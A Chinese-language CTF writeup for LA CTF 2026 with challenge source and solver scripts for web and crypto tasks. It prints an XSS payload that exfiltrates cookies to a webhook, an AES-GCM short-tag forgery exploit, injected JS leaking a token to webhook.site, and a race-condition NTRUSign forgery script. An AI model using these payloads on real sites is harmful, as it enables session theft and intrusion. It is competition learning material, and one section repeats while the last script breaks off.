LA CTF 2026 Writeup by Whale120

Before all

Rank. 9 / Team: ICEDTEA
2026 冰茶第一場認真一起打的比賽!

蠻開心的,雖然在 AI 的影響下其實解題方法真的會不太一樣,Crypto 狗也快失業
沒啦其實有差(?)至少我想完 + 叫 AI 搓腳本解的會比純 Agent 快

這場比賽還是有一些有趣的題目,像是 misc 的 pyjail 和 crypto 有一題是我在 CTF 比賽第一次解掉 NTRUSign 的題目 XD(雖然只是 Bound 有設跟沒設一樣的 bug)

Hope you enjoy~

Web

job-board

Solver: whale120

Code 有點長
一題 XSS 題,關鍵是要繞掉這個 html sanitizer (NodeJS)

1
2
3
4
5
6
7
8
9
10
11
12
13
// js translation of python's html.escape because
// this isn't in nodejs stdlib i think
// src - https://github.com/python/cpython/blob/18347417b06d09fa7eeac68f88eb1e720e925c65/Lib/html/__init__.py#L12
function htmlEscape(s, quote=true) {
s = s.replace("&", "&"); // Must be done first!
s = s.replace("<", "&lt;");
s = s.replace(">", "&gt;");
if (quote) {
s = s.replace('"', "&quot;");
s = s.replace('\'', "&#x27;");
}
return s;
}

想三秒!答對了,Javascript 裡面分為 replacereplaceAll 兩個函數,前者只會取代掉看到的第一個,所以我們的 Payload 就是:

1
2
3
4
<>'"&
<script>
location.href = '<webhook url>/?cookie=' + btoa(document.cookie);
</script>

single-trust

Source:

可以上傳自己的 paste 內容,並且在有 GCM 簽章後的結果去讀取 paste 文件(直接寫到 system folder)
flag 在根目錄要讀到。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
const express = require("express");
const path = require("path");
const fs = require("fs");
const cookieParser = require("cookie-parser");
const crypto = require("crypto");

const port = parseInt(process.env.PORT) || 8080;

const key = crypto.randomBytes(32);

const app = express();

const lists = new Map();

setInterval(function () {
for (const file of fs.readdirSync("/tmp/pastestore")) {
if (Date.now() - fs.statSync("/tmp/pastestore/" + file).mtimeMs > 1000 * 60 * 60) {
fs.rmSync("/tmp/pastestore/" + file);
}
}
}, 60000);

function makeAuth(req, res, next) {
const iv = crypto.randomBytes(16);
const tmpfile = "/tmp/pastestore/" + crypto.randomBytes(16).toString("hex");
fs.writeFileSync(tmpfile, "there's no paste data yet!", "utf8");
const user = { tmpfile };
const data = JSON.stringify(user);
const cipher = crypto.createCipheriv("aes-256-gcm", key, iv);
const ct = Buffer.concat([cipher.update(data), cipher.final()]);
const authTag = cipher.getAuthTag();
res.cookie("auth", [iv, authTag, ct].map((x) => x.toString("base64")).join("."));
res.locals.user = user;
next();
}

function needsAuth(req, res, next) {
const auth = req.cookies.auth;
if (typeof auth !== "string") {
makeAuth(req, res, next);
return;
}
try {
const [iv, authTag, ct] = auth.split(".").map((x) => Buffer.from(x, "base64"));
const cipher = crypto.createDecipheriv("aes-256-gcm", key, iv);
cipher.setAuthTag(authTag);
res.locals.user = JSON.parse(Buffer.concat([cipher.update(ct), cipher.final()]).toString("utf8"));
if (!fs.existsSync(res.locals.user.tmpfile)) {
makeAuth(req, res, next);
return;
}
} catch (err) {
makeAuth(req, res, next);
return;
}
next();
}

app.use(cookieParser());
app.use(express.urlencoded({ extended: false }));
app.use(express.static(path.join(__dirname, "static")));

const template = fs.readFileSync("index.html", "utf8");

app.get("/", needsAuth, (req, res) => {
res.type("text/html").send(template.replace("$CONTENT", () => fs.readFileSync(res.locals.user.tmpfile, "utf8")));
});

app.post("/update", needsAuth, (req, res) => {
if (typeof req.body.content === "string") {
try {
fs.writeFileSync(res.locals.user.tmpfile, req.body.content.slice(0, 2048), "utf8");
} catch (err) {}
}
res.redirect("/");
});

app.listen(port, () => {
console.log(`Listening on port ${port}`);
});

GCM 本身是一種 CTR Mode 加密 + GF2 下的一種簽章結果的組合,不過這個簽章的大小其實有很多種(4, 8, 12, 16 bytes 之類的)

但 NodeJS Crypto 庫其實沒有做好這件事情,是可以做 short tag 的。
像是很多 issues 其實都有提到
https://github.com/nodejs/node/pull/61082

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import requests
import base64
import urllib.parse
from pwn import xor

url = "https://single-trust.chall.lac.tf/"

def solve():
s = requests.Session()

res = s.get(url)
if 'auth' not in s.cookies:
print("[-] Err cookie")
return

auth_cookie_raw = s.cookies['auth']
auth_cookie_decoded = urllib.parse.unquote(auth_cookie_raw)
print(f"[+] Decoded Cookie: {auth_cookie_decoded}")

iv_b64, tag_b64, ct_b64 = auth_cookie_decoded.split('.')
iv = base64.b64decode(iv_b64)
ct = base64.b64decode(ct_b64)

known_plaintext_prefix = b'{"tmpfile":"/tmp/pastestore/'

keystream = xor(known_plaintext_prefix, ct[:len(known_plaintext_prefix)])

target_plaintext = b'{"tmpfile":"/flag.txt"}'

forged_ct = xor(target_plaintext, keystream[:len(target_plaintext)])
forged_ct_b64 = base64.b64encode(forged_ct).decode()

for i in range(256):
fake_tag_byte = bytes([i])
fake_tag_b64 = base64.b64encode(fake_tag_byte).decode()

new_cookie_val = f"{iv_b64}.{fake_tag_b64}.{forged_ct_b64}"

headers = {
"Cookie": f"auth={new_cookie_val}"
}

try:
r = requests.get(url, headers=headers, allow_redirects=False)

if "Set-Cookie" not in r.headers:
print(f"\n[!!!] Auth bypass successful! Tag Byte: {hex(i)}")
print("-" * 30)
print(r.text)
print("-" * 30)
return

print(f"\r[-] Trying tag: {hex(i)} ... failed", end="")

except Exception as e:
print(f"Error: {e}")

print("\n[-] Failed")

if __name__ == "__main__":

append-note

Solver: whale120, walnut

Python 程式碼:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
import os, secrets
from urllib.parse import urlparse
from flask import Flask, render_template, request, make_response
import json

app = Flask(__name__)

ADMIN_SECRET = os.environ.get("ADMIN_SECRET", "password")
FLAG = os.environ.get("FLAG", "lactf{test}")
if (HOST := os.environ.get("HOST")):
pass
elif (metadata := os.environ.get("INSTANCER_METADATA")):
HOST = "https://" + json.loads(metadata)["http"]["app"]["4000"]
else:
HOST = "http://localhost:4000"


SECRET = secrets.token_hex(4)
notes = [SECRET]


@app.after_request
def add_headers(response):
response.headers["Cache-Control"] = "no-store"
response.headers["X-Content-Type-Options"] = "nosniff"
response.headers["X-Frame-Options"] = "deny"
return response


@app.route("/")
def index():
is_admin = request.cookies.get("admin") == ADMIN_SECRET
return render_template("index.html", is_admin=is_admin, url=HOST)


@app.route("/append")
def append():
if request.cookies.get("admin") != ADMIN_SECRET:
return "Unauthorized", 401

content = request.args.get("content", "")
redirect_url = request.args.get("url", "/")

parsed_url = urlparse(redirect_url)
if (
parsed_url.scheme not in ["http", "https"]
or parsed_url.hostname != urlparse(HOST).hostname
):
return f"Invalid redirect URL {parsed_url.scheme} {parsed_url.hostname}", 400
status = 200 if any(note.startswith(content) for note in notes) else 404
notes.append(content)
return render_template("redirect.html", url=redirect_url), status


@app.route("/flag")
def flag():
correct = request.args.get("secret") == SECRET
message = FLAG if correct else "Invalid secret"
status = 200 if correct else 401
response = make_response(message, status)
response.headers["Access-Control-Allow-Origin"] = "*"
return response


if __name__ == "__main__":
app.run(host="0.0.0.0", port=4000)

漏洞出現在這一段~

1
2
3
4
5
6
7

parsed_url = urlparse(redirect_url)
if (
parsed_url.scheme not in ["http", "https"]
or parsed_url.hostname != urlparse(HOST).hostname
):
return f"Invalid redirect URL {parsed_url.scheme} {parsed_url.hostname}", 400

雖然題目看起來很像是要進行一種叫做 XSLeak 的攻擊,不過這邊造成了 XSS 的漏洞,因為傳入的 URL 是我們可控的,只需要協議錯誤即可:

然後我就在 @whale120 完成這部分後接手了!
image

最後我分段寫入了攻擊程式碼,因為

  1. /, : 會被解析為 url 部件
  2. 傳入字元統一會變成小寫

第一階段是 javascript 的植入,變成 document.write("<script src=http\x3a\x2f\x2fwalfile.0w0-b.com\x2flactf_26e57b08.js>")
後面 js 內容

1
2
3
4
5
6
7
8
9
10
11
12
token = '';
url_base = 'https://append-note-hjsa6.instancer.lac.tf/append?url=https://append-note-hjsa6.instancer.lac.tf/';
for(var i = 0;i<8;i++){
for(var j = 0;j<8;j++){
res = await fetch(url_base+"&content="+token+j.toString(16));
if(res.ok){
token += j.toString(16);
}
}
}

fetch('https://webhook.site/8dd046a4-f83d-451d-930f-afb9ab0abfb4/'+token);

Crypto

smol cats

Solver: Whale120

nc 上去就是一個 128 bits 的 RSA KEY,隨便丟線上分解一下就開了:
https://www.alpertron.com.ar/ECM.HTM

Crypto

smol cats

Solver: Whale120

nc 上去就是一個 128 bits 的 RSA KEY,隨便丟線上分解一下就開了:
https://www.alpertron.com.ar/ECM.HTM

the-clock

Solver: whale120

給了一條 $y^2=1-x^2$ 曲線,要算 DLP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from random import randrange
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from hashlib import md5
p =
def clockadd(P1,P2):
x1,y1 = P1
x2,y2 = P2
x3 = x1*y2+y1*x2
y3 = y1*y2-x1*x2
return x3,y3

def F(p):
# caveat: caller must ensure that p is prime
class F:
def __init__(self,x):
self.int = x % p
def __str__(self):
return str(self.int)
__repr__ = __str__
def __eq__(a,b):
return a.int == b.int
def __ne__(a,b):
return a.int != b.int
def __add__(a,b):
return F(a.int + b.int)
def __sub__(a,b):
return F(a.int - b.int)
def __mul__(a,b):
return F(a.int * b.int)
def __div__(a,b):
# caveat: caller must ensure that b is nonzero
return a*F(pow(b.int,p-2,p))
return F

def scalarmult(P, n):
# caveat: caller must ensure that n is nonnegative
# caveat: n is limited by python's recursion limit
if n == 0: return (Fp(0),Fp(1))
if n == 1: return P
Q = scalarmult(P, n//2)
Q = clockadd(Q,Q)
if n % 2: Q = clockadd(P,Q)
return Q

Fp = F(p)

base_point = (Fp(13187661168110324954294058945757101408527953727379258599969622948218380874617),Fp(5650730937120921351586377003219139165467571376033493483369229779706160055207))

alice_secret = randrange(2**256)
alice_public = scalarmult(base_point, alice_secret)
print("Alice's public key: ", alice_public)
bob_secret = randrange(2**256)
bob_public = scalarmult(base_point, bob_secret)
print("Bob's public key: ", bob_public)

assert scalarmult(bob_public, alice_secret) == scalarmult(alice_public, bob_secret)
shared_secret = scalarmult(bob_public, alice_secret)
key = md5(f"{shared_secret[0].int},{shared_secret[1].int}".encode()).digest()
FLAG = b""
print("Encrypted flag: ", AES.new(key, AES.MODE_ECB).encrypt(pad(FLAG, 16)).hex())

跟我當年在 THJCC 第一屆出的 PELL(LINK) 本質上幾乎一樣,這類的曲線都可以被壓成 Fp (mod p) 下的 DLP 問題,質數 p 夠 smooth 或者夠小都可以秒掉
不過這題稍有不同,他有配上一個 -1 的係數開根號下去會是 i,可能會需要體擴張一下變成 Fp x Fp 之類的,讓根號 -1 在這裡面是存在的 XD

exp.sage

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
import hashlib
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

p = 13767529254441196841515381394007440393432406281042568706344277693298736356611

base_point = (
13187661168110324954294058945757101408527953727379258599969622948218380874617,
5650730937120921351586377003219139165467571376033493483369229779706160055207
)

alice_pub = (
13109366899209289301676180036151662757744653412475893615415990437597518621948,
5214723011482927364940019305510447986283757364508376959496938374504175747801
)

bob_pub = (
1970812974353385315040605739189121087177682987805959975185933521200533840941,
12973039444480670818762166333866292061530850590498312261363790018126209960024
)

enc_flag_hex = "d345a465538e3babd495cd89b43a224ac93614e987dfb4a6d3196e2d0b3b57d9"


def solve():
print(f"[*] 使用模數 p: {p}")
if p % 4 == 3:
print("[*] p = 3 mod 4,構造 GF(p^2)")
K.<i> = GF(p^2, modulus=x^2+1)
else:
print("[*] p = 1 mod 4,構造 GF(p)")
u = GF(p)(-1).sqrt()
K = GF(p)
i = u

def to_element(pt):
if p % 4 == 3:
return K(pt[1]) + K(pt[0]) * i
else:
return K(pt[1]) + K(pt[0]) * i

G = to_element(base_point)
A = to_element(alice_pub)
B = to_element(bob_pub)

print("[*] 正在計算離散對數 (利用 Pohlig-Hellman)...")

try:
alice_priv = discrete_log(A, G)
print(f"[+] Alice 私鑰: {alice_priv}")
except ValueError:
print("[-] 無法計算離散對數,請檢查數據或群階")
return

S_element = B^alice_priv
if p % 4 == 3:
poly = S_element.polynomial()
coeffs = poly.list()
while len(coeffs) < 2: coeffs.append(0)
y_shared = int(coeffs[0])
x_shared = int(coeffs[1])
else:
print("[*] 使用 Python 重算坐標以避免同構轉換錯誤...")
pass

print("[*] 重算共享密鑰點...")

def clockadd(P1, P2):
x1, y1 = P1
x2, y2 = P2
x3 = (x1*y2 + y1*x2) % p
y3 = (y1*y2 - x1*x2) % p
return (x3, y3)

def scalarmult(P, n):
res = (0, 1) # Identity element (x=0, y=1) -> 0i + 1
base = P
while n > 0:
if n % 2 == 1:
res = clockadd(res, base)
base = clockadd(base, base)
n //= 2
return res

shared_point = scalarmult(bob_pub, int(alice_priv))
sx, sy = shared_point
print(f"[+] Shared Secret: ({sx}, {sy})")

secret_str = f"{sx},{sy}"
key = hashlib.md5(secret_str.encode()).digest()

try:
cipher = AES.new(key, AES.MODE_ECB)
flag = unpad(cipher.decrypt(bytes.fromhex(enc_flag_hex)), 16)
print("\n" + "="*40)
print(f"FLAG: {flag.decode()}")
print("="*40 + "\n")
except Exception as e:
print(f"[-] 解密失敗: {e}")

solve()

sisyphus

Solver: whale120

一個給了一坨 garble gate 和做了幾次 CTR Mode AES 加密的東西,要想辦法把東西加密後丟回去

弱點是各個地方 IV 不斷在重用,所以從 GATE 用位元運算拿回 IV 再用 CTR Flow 的特性把東西丟回去就好

嚴格來說看了一下題目就用唱的唱完了,扣有點太長就不放了 qq

six seven again

Solver: whale120

前面 six seven 的 revenge

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/usr/local/bin/python3

import secrets
from Crypto.Util.number import getPrime, isPrime, bytes_to_long


def generate_super_67_prime() -> int:
while True:
digits = ["6"] * 67
digits += [secrets.choice("67") for _ in range(67)]
digits += ["7"] * 67

test = int("".join(digits))
if isPrime(test, false_positive_prob=1e-12):
return test


p = generate_super_67_prime()
q = getPrime(670)
n = p * q
e = 65537

FLAG = open("flag.txt", "rb").read()
m = bytes_to_long(FLAG)

c = pow(m, e, n)

print(f"n={n}")
print(f"c={c}")

題目蠻好懂得,但其實就是標準的 Known High Bits of p 問題,Coppersmith 一刀穿

exp.sage

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from Crypto.Util.number import long_to_bytes

n = 2013173213309365625933566305130017869328316462881720251221055320304369815259410105951666181699459238383495162630863039217321546600903821213864673379819904794609979913390359136621570364138898797760597408456993438476109504849386080887264587106986309928978035085609864102499542187443021506824921026077779331204235369048429915385420897226473011503923523354591918132188886957608103418222891533803352966915259
c = 149386296161039450793419173696749564837096923819919322225924017787080033546963446814313759533158518854393955392890924635019955685701507100445213480979815012711722239756098145647780423351033795835914264538987805182519568292807894318702107730592387995058190313827162008258766268153383080316590950833153983988393039613499608862905845016467473282719322342438431262088746070306399215054104531050151987590326
e = 65537

L = 67
high_val = int("6" * L) * (10**(2 * L))
low_val = int("7" * L)
K = high_val + low_val
shift = 10**L

P.<x> = PolynomialRing(Zmod(n))
f = x * shift + K
f = f.monic()
roots = f.small_roots(X=10^L, beta=0.45)

if roots:
x0 = int(roots[0])
p = x0 * shift + K
print(f"[+] 找到質數 p: {p}")

if n % p == 0:
q = n // p
phi = (p - 1) * (q - 1)
d = inverse_mod(e, phi)
m = pow(c, d, n)

flag = long_to_bytes(int(m))
print("-" * 50)
print(f"FLAG: {flag.decode()}")
print("-" * 50)
else:
print("[-] 找到的根無法整除 n,請檢查參數設定。")
else:
print("[-] 找不到小根,請嘗試調整 beta 或檢查 p 的構造。")

spreading-secrets

題目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from Crypto.Util.number import getPrime, bytes_to_long

FLAG = open("flag.txt", "rb").read()
SECRET = bytes_to_long(FLAG)

p = getPrime(512)


class RNG:
def __init__(self, seed, modulus):
self.state = seed
self.a = 4378187236568178488156374902954033554168817612809876836185687985356955098509507459200406211027348332345207938363733672019865513005277165462577884966531159
self.b = 5998166089683146776473147900393246465728273146407202321254637450343601143170006002385750343013383427197663710513197549189847700541599566914287390375415919
self.c = 4686793799228153029935979752698557491405526130735717565192889910432631294797555886472384740255952748527852713105925980690986384345817550367242929172758571
self.d = 4434206240071905077800829033789797199713643458206586525895301388157719638163994101476076768832337473337639479654350629169805328840025579672685071683035027
self.modulus = modulus

def next(self):
self.state = (
self.a * self.state**3
+ self.b * self.state**2
+ self.c * self.state
+ self.d
) % self.modulus
return self.state


def create_shares(secret, threshold, num_shares, p):
rng = RNG(secret, p)
coefficients = [secret]
for i in range(threshold - 1):
coefficients.append(rng.next())

shares = []
for x in range(1, num_shares + 1):
y = 0
for power, coeff in enumerate(coefficients):
term = (coeff * pow(x, power, p)) % p
y = (y + term) % p
shares.append((x, y))

return shares


THRESHOLD = 10
NUM_SHARES = 15

shares = create_shares(SECRET, THRESHOLD, NUM_SHARES, p)

print(f"p={p}")
# p=12670098302188507742440574100120556372985016944156009521523684257469947870807586552014769435979834701674318132454810503226645543995288281801918123674138911
print(f"Share_1={shares[0]}")
# Share_1=(1, 6435837956013280115905597517488571345655611296436677708042037032302040770233786701092776352064370211838708484430835996068916818951183247574887417224511655)

簡言之就是初始有一條已知的三次多項式
$ax^3+bx^2+cx+d \space (mod \space p)$
然後他依照題目被輸入 SECRET(FLAG) 後疊代了九次 (類似 lcg 那樣),產生了十個參數當作多項式係數

最後他有一條 stream 生成了十五個點,等於說湊齊其中十個就可以 Shamir’s Secret Sharing 還原係數,但他只給我們 f(1)

基本上這一題就是先把疊代的多項式攤平,但因為他係數很大(想想看 3 次方被疊了十次) 想辦法在 mod p 下解它本身不是容易的事情(p 也很大)

因為我們確信有個整數解,所以其實有個常見的小技巧是
$x^p-x$ 根據費馬小定理(或歐拉定理) 我們知道代入任何 mod p 下的元素都會等於 0,最後拿疊出來的多項式跟它取 gcd 就解開了

然後 AI 好笨我直接叫他解它給我丟 PARI 解出來,後來我還需要跟他講這招才唱出腳本QQ
我想這就是現在面對大部分 CTF Crypto 題目 Crypto 狗可以發揮的優勢吧(解的可以比較快?)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import cypari2
from Crypto.Util.number import long_to_bytes

try:
pari.allocatemem(4096 * 1024 * 1024)
print("[*] PARI stack size increased to 4GB")
except:
print("[!] Failed to increase memory, trying to proceed anyway...")

p = 12670098302188507742440574100120556372985016944156009521523684257469947870807586552014769435979834701674318132454810503226645543995288281801918123674138911
y_target = 6435837956013280115905597517488571345655611296436677708042037032302040770233786701092776352064370211838708484430835996068916818951183247574887417224511655

a = 4378187236568178488156374902954033554168817612809876836185687985356955098509507459200406211027348332345207938363733672019865513005277165462577884966531159
b = 5998166089683146776473147900393246465728273146407202321254637450343601143170006002385750343013383427197663710513197549189847700541599566914287390375415919
c = 4686793799228153029935979752698557491405526130735717565192889910432631294797555886472384740255952748527852713105925980690986384345817550367242929172758571
d = 4434206240071905077800829033789797199713643458206586525895301388157719638163994101476076768832337473337639479654350629169805328840025579672685071683035027

R = GF(p)
P.<x> = PolynomialRing(R)

def rng_next(val):
return a * val^3 + b * val^2 + c * val + d

current_coeff = x
poly_sum = current_coeff

for i in range(9):
current_coeff = rng_next(current_coeff)
poly_sum += current_coeff

final_poly = poly_sum - y_target
x_pow_p = pow(x, p, final_poly)
gcd_poly = final_poly.gcd(x_pow_p - x)

if gcd_poly.degree() > 0:
roots = gcd_poly.roots(multiplicities=False)

for r in roots:
try:
val = int(r)
flag = long_to_bytes(val)
print(f"FLAG: {flag.decode()}")
except:
print(f"[-] Root {r} is valid int but decode failed")
else:
print("[-] 未在 GF(p) 內找到整數根。")

misdirection

Solver: whale120

一個 NTRU Sign + multithread 的貪吃蛇遊戲,每次傳送紀錄進來都要被 sign 過才會真的紀錄到,server 會把 sign 後的內容發出來
原則上會寫死分數到 4 就停,不過要大於 14 分才可以拿 flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
import os

# https://github.com/Taumille/NTRUSign
from NTRUSign import KeyGenerator, NTRU
import threading

from flask import Flask, make_response, request, send_from_directory, jsonify
from Crypto.Util.number import long_to_bytes

N_BOUND = 545

app = Flask(__name__, static_url_path="", static_folder="static")

flag = os.environ.get("FLAG", "lactf{fakeflag}")

ready_status = {"status": False}
zero_signature = None


# generate keys and set up some initial data
# this is time-consuming
def setup():
global NTRUKeys, current_count, zero_signature, signature_cache, ready_status

current_count = 0

NTRUKeys = KeyGenerator.KeyPair(gen=True, B=1)

# Sign the initial count (0) so that client can use it
(_, r, s) = NTRU.Signing(NTRUKeys, long_to_bytes(current_count), N_BOUND)
zero_signature = NTRU.export_signature(r, s, N_BOUND, False)

signature_cache = {zero_signature: 0}

ready_status["status"] = True


setup_thread = threading.Thread(target=setup)
setup_thread.start()


@app.post("/grow")
def grow():
global current_count, signature_cache, ready_status, N_BOUND

if not ready_status["status"]:
return jsonify({"msg": "Please wait!"})

request_body = request.get_json()
client_count = request_body["count"]
count_sig = request_body["sig"]

# limit to 4 count
if current_count < 4 and client_count == current_count:
if count_sig in signature_cache and signature_cache[count_sig] == client_count:
verif = True
else:
try:
r, s = NTRU.import_signature(count_sig)
verif = NTRU.Verifying(
long_to_bytes(client_count), r, s, N_BOUND, NTRUKeys
)
except Exception:
verif = False
if verif:
current_count += 1

# sign the new number
ready_status["status"] = False
(_, r, s) = NTRU.Signing(NTRUKeys, long_to_bytes(current_count), N_BOUND)
ready_status["status"] = True
new_count_sig = NTRU.export_signature(r, s, N_BOUND, False)
signature_cache[new_count_sig] = current_count
if current_count >= 4:
return jsonify(
{
"msg": f"Snake has grown to length {current_count}. It is too long and does not have any more food.",
"count": current_count,
"signature": new_count_sig,
}
)
return jsonify(
{
"msg": f"Snake has grown to length {current_count}",
"count": current_count,
"signature": new_count_sig,
}
)
else:
return jsonify(
{
"msg": "Invalid signature!",
"count": current_count,
"signature": "null",
}
)

return jsonify(
{
"msg": "Snake does not have enough food to grow!",
"count": current_count,
"signature": "null",
}
)


@app.post("/flag")
def get_flag():
global current_count, ready_status

if not ready_status["status"]:
return jsonify({"msg": "Please wait!"})

# flag costs 14 grows
# snake must reach full length
if current_count >= 14:
current_count -= 14
return jsonify({"msg": f"Flag: {flag}", "count": current_count})

return jsonify({"msg": "Snake isn't long enough!", "count": current_count})


# reset the challenge (don't need to restart instance)
@app.get("/regenerate-keys")
def regenerate_keys():
global ready_status
ready_status["status"] = False
setup()
ready_status["status"] = True
return jsonify({"msg": "Successfully Reset Challenge"})


@app.get("/zero-signature")
def get_zero_signature():
global zero_signature

return jsonify({"signature": zero_signature})


@app.get("/public-key")
def get_public_key():
global NTRUKeys

return jsonify({"public-key": NTRUKeys.export_pub()})


@app.get("/current-count")
def get_count():
global current_count

return jsonify({"count": current_count})


@app.get("/")
def index():
resp = make_response(send_from_directory(app.static_folder, "index.html"))
return resp


@app.get("/status")
def status():
global ready_status

return jsonify(ready_status)


if __name__ == "__main__":
app.run("0.0.0.0", 8000, threaded=True, debug=True)

注意到 NTRU Sign 參數
q = 128
N = 251
N_BOUND = 545
q 是 modulus,N 是 多項式 degree (最高次方數),N_BOUND 是容許誤差,基本上算一下 NORM 會發現這個 BOUND 非常非常大
然後這題又 threaded,簽章速度又不會快,所以就是亂簽一通 BOUND 都會過得去,再 Race Condition 一下就可以在完成 <4 判斷累加前想辦法走到 14 了。

網路上蠻多 NTRUSign 相關的 archive,想看可以去找下 XD
大概講一下
NTRUSign 的流程是透過在一個多項式 ring $\textbf{Z}[x]/(x^N-1)$ 下做運算,取兩個短的正交多項式當私鑰 (f, g),接下來的運算都是在它們相乘張出來的空間下進行
另外會再取兩個小的 G, F 滿足 $f \cdot G - g \cdot F = q$,他們當然也是私鑰不過更多是為了滿足一些餘數的性質
公開公鑰是 $h = f^{-1}*g$
我們有個私鑰矩陣
$B = \begin{pmatrix} f & g \ F & G \end{pmatrix}$

要簽章訊息的人會先把訊息取 H(m) 變成座標 $(I_1, I_2)$
$(a, b) = (I_1, I_2) \cdot B^{-1}$
注意到這時候 a, b 其實都不太會是整數,所以我們取 A, B 作為他們四捨五入的結果

最後再把四捨五入的結果乘回去 B
$s = (A, B) \cdot B = (A \cdot f + B \cdot F, A \cdot g + B \cdot G)$
最後簽章結果是這樣做完 Babai 以後攤出來的 error
$e = (I_1, I_2) - s = (s_1, s_2)$

驗證簽章首先要確認代數結構是正確的:

$s_1 \cdot h \equiv s_2 - H(m) \pmod q$
另外就是計算 e 的 norm 要夠小 (小於 N_BOUND)

這機制的安全性在於不知道基底的人雖然可以很好的透過計算 h 的 inverse 去滿足代數結構,但是會忽略掉大小問題
只有知道私鑰的人才能在空間裡面完成 Babai

回到題目,這題最後的做法就是直接算出 inverse 簽回去,做 race condition 就好,因為 Bound 在統計學上很容易小於(開太大)。
不過 Race 的時候我遇到一個問題,就是 Race 不過去,最後的做法是讓 AI 寫個 raw socket 連過去,一次把 HTTP Request 包全部噴上去再送出

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
import socket
import requests
import threading
import time
import hashlib
import numpy as np
import json
import sys
from urllib.parse import urlparse

# --- CONFIGURATION ---
TARGET_URL = "https://misdirection-5g9ac.instancer.lac.tf/"
parsed_url = urlparse(TARGET_URL)
HOST_NAME = parsed_url.hostname
PORT = parsed_url.port or 80
GROW_ENDPOINT = "/grow"

RESET_URL = f"{TARGET_URL}/regenerate-keys"
PUBKEY_URL = f"{TARGET_URL}/public-key"
ZERO_SIG_URL = f"{TARGET_URL}/zero-signature"
GROW_URL_FULL = f"{TARGET_URL}/grow"
FLAG_URL = f"{TARGET_URL}/flag"

# NTRU Parameters
N = 251
q = 128
N_BOUND = 545

# --- HELPER FUNCTIONS ---

def long_to_bytes(n):
if n == 0: return b''
return n.to_bytes((n.bit_length() + 7) // 8, 'big')

class Polynomial:
def __init__(self, N=251):
self.coeff = np.zeros(N, dtype=int)
self.N = N
def star_multiply(self, other):
conv = np.convolve(self.coeff, other.coeff)
res_coeff = np.zeros(self.N, dtype=int)
for i in range(len(conv)): res_coeff[i % self.N] += conv[i]
res = Polynomial(self.N)
res.coeff = res_coeff
return res
def mod(self, q):
self.coeff = self.coeff % q
return self
def __sub__(self, other):
res = Polynomial(self.N); res.coeff = self.coeff - other.coeff; return res
def __add__(self, other):
res = Polynomial(self.N); res.coeff = self.coeff + other.coeff; return res

def H(s_bytes, N):
h_hash = hashlib.sha1()
i = 0
m_hex = ""
# 模擬 Server 端的 Bug: i 永遠為 0,且 hash 狀態累積
while len(m_hex) < N:
h_hash.update(s_bytes + str(i).encode("ascii"))
m_hex += h_hash.hexdigest()

